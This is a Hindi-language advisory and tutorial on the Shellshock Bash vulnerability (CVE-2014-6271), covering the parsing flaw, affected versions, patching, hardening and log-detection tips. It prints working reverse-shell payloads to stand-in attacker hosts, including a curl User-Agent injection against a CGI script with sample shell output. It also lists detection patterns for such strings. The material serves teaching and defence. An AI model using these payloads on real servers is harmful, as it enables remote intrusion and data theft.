📖 अवलोकन

CVE-2014-6271, उपनाम Shellshock (जिसे Bashdoor भी कहा जाता है), GNU Bash शेल में एक गंभीर रिमोट कोड निष्पादन (RCE) भेद्यता है।
एक हमलावर विशेष रूप से तैयार किए गए पर्यावरण चर (HTTP हेडर, DHCP, SSH आदि के माध्यम से) भेज सकता है और अंतर्निहित सर्वर तक रिमोट शेल पहुंच प्राप्त कर सकता है — अक्सर बिना प्रमाणीकरण और न्यूनतम उपयोगकर्ता इंटरैक्शन के।

🧠 भेद्यता सारांश

⚙️ तकनीकी विवरण

📨 चरण 1 — दुर्भावनापूर्ण पर्यावरण चर

हमलावर एक विशेष रूप से तैयार चर इंजेक्ट करता है (जैसे User-Agent हेडर में):

() { :; }; /bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1

🧩 चरण 2 — Bash फ़ंक्शन पार्सिंग दोष

Bash गलती से पेलोड को एक फ़ंक्शन परिभाषा + अनुगामी कमांड के रूप में मानता है। (); के बाद का कोड तुरंत निष्पादित हो जाता है जब चर आयात किया जाता है।

💣 चरण 3 — रिमोट निष्पादन

कमांड वेब सर्वर/प्रक्रिया के विशेषाधिकारों (अक्सर root या www-data) के साथ चलता है।

परिणाम:

# Remote shell access achieved
whoami
www-data

✅ यदि ऑपरेशन सफल होता है, तो यह है कि आप वास्तव में क्या देखेंगे (चरण दर चरण):

1. अपने टर्मिनल में (PoC चलाने के तुरंत बाद)

✅ Vulnerable! (Shellshock RCE triggered)
vulnerable
test

आप यह भी देखेंगे कि रिवर्स शेल तुरंत वापस कनेक्ट होता है।

2. जब आप डिटेक्शन कमांड चलाते हैं

env x='() { :;}; echo vulnerable' bash -c "echo test"

यह तुरंत वापस आएगा:

vulnerable
test

(यह पुष्टि करता है कि Bash ने इंजेक्ट किए गए कमांड को निष्पादित किया।)

3. सफलता का वास्तविक प्रमाण — आपके ब्राउज़र या curl में (यह वह क्षण है जब आप जानते हैं कि आपके पास पूर्ण RCE है)

एक असुरक्षित Apache CGI स्क्रिप्ट के विरुद्ध यह curl चलाएं:

curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/YOUR-IP/4444 0>&1" http://vulnerable-server/cgi-bin/test.sh

आप अपने netcat लिसनर में यह सटीक आउटपुट देखेंगे:

bash: no job control in this shell
www-data@server:/var/www$ whoami
www-data
www-data@server:/var/www$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@server:/var/www$ ls -la
total 12
drwxr-xr-x 2 www-data www-data 4096 Sep 24 14:00 .
...

यह आउटपुट सीधे आपके रिवर्स शेल में दिखाई देता है। कोई त्रुटि नहीं, कोई 404 नहीं।
इसका मतलब है कि आपके पास सर्वर पर पूर्ण रिमोट कोड निष्पादन है — पर्यावरण चर इंजेक्शन पूरी तरह से काम कर गया।

🎯 यह खतरनाक क्यों है

• ⚡ 25-वर्षीय शून्य-दिवस (1989 से अस्तित्व में)
• 🌐 अत्यंत विस्तृत हमला सतह (CGI, DHCP, SSH, OpenVPN, CUPS…)
• 🔓 अधिकांश सामान्य वेक्टरों में कोई प्रमाणीकरण आवश्यक नहीं
• 🧨 पूर्ण RCE क्षमता
• 📂 संभावित डेटा निष्कर्षण और रैनसमवेयर प्रवेश
• 🔁 बड़े नेटवर्कों में वर्मेबल

📦 प्रभावित संस्करण

सभी GNU Bash संस्करण:

1.14 से 4.3 (पैच स्तर 30 से पहले)

(लिनक्स, macOS, BSD, एम्बेडेड उपकरण शामिल)

✅ पैच किया गया संस्करण

तुरंत अपग्रेड करें:

Bash 4.3 पैच स्तर 30 या बाद का (4.4+ अनुशंसित)

🛡️ शमन कदम

1️⃣ तत्काल कार्रवाई

• सभी सिस्टम पर Bash अपडेट करें:
  root@kitploit:~

  # Ubuntu/Debian
  apt update && apt install --only-upgrade bash
  
  # Red Hat/CentOS
  yum update bash
  

2️⃣ वेब सर्वर को मजबूत करें

• जहां संभव हो CGI/mod_cgi अक्षम करें
• () { को ब्लॉक करने के लिए mod_security नियमों का उपयोग करें
• पर्यावरण चर पारित करना प्रतिबंधित करें

3️⃣ लॉग की निगरानी करें

इनकी तलाश करें:

• () { युक्त संदिग्ध User-Agent / Referer
• अप्रत्याशित रिवर्स शेल या आउटबाउंड कनेक्शन
• वेब सेवाओं से Bash चाइल्ड प्रक्रियाओं को जन्म देना

🔍 डिटेक्शन टिप्स

समझौते के संकेतक शामिल हो सकते हैं:

• () { :;}; युक्त लॉग
• वेब सर्वर उपयोगकर्ता द्वारा बनाई गई अप्रत्याशित फ़ाइलें
• उच्च पोर्ट पर आउटबाउंड कनेक्शन
• वेब सर्वर द्वारा /bin/bash -i का जन्म

🧪 प्रूफ-ऑफ-कॉन्सेप्ट (अवधारणात्मक)

दुर्भावनापूर्ण हेडर/DHCP/SSH → Bash पर्यावरण चर आयात करता है
        ↓
फ़ंक्शन परिभाषा + अनुगामी कमांड निष्पादित
        ↓
मनमाना कमांड / रिवर्स शेल

📌 संबंधित भेद्यता

इस मुद्दे ने कई अनुवर्ती CVEs (अपूर्ण सुधार) को जन्म दिया:

• CVE-2014-7169 (AfterShock)
• CVE-2014-6277 / CVE-2014-6278
• CVE-2014-7186 / CVE-2014-7187

📊 प्रभाव मूल्यांकन

🧩 सीखे गए सबक

• पर्यावरण चरों पर कभी भरोसा न करें
• शेल में फ़ंक्शन पार्सिंग अत्यंत सख्त होनी चाहिए
• कोर सिस्टम घटकों में लंबे समय तक रहने वाले बग विनाशकारी होते हैं
• अकेले पैच करना पर्याप्त नहीं — हमला सतहों को मजबूत करें

📚 संदर्भ

• NVD – CVE-2014-6271
• Wikipedia – Shellshock
• Red Hat Security Blog
• Qualys Technical Analysis
• CISA Alert TA14-268A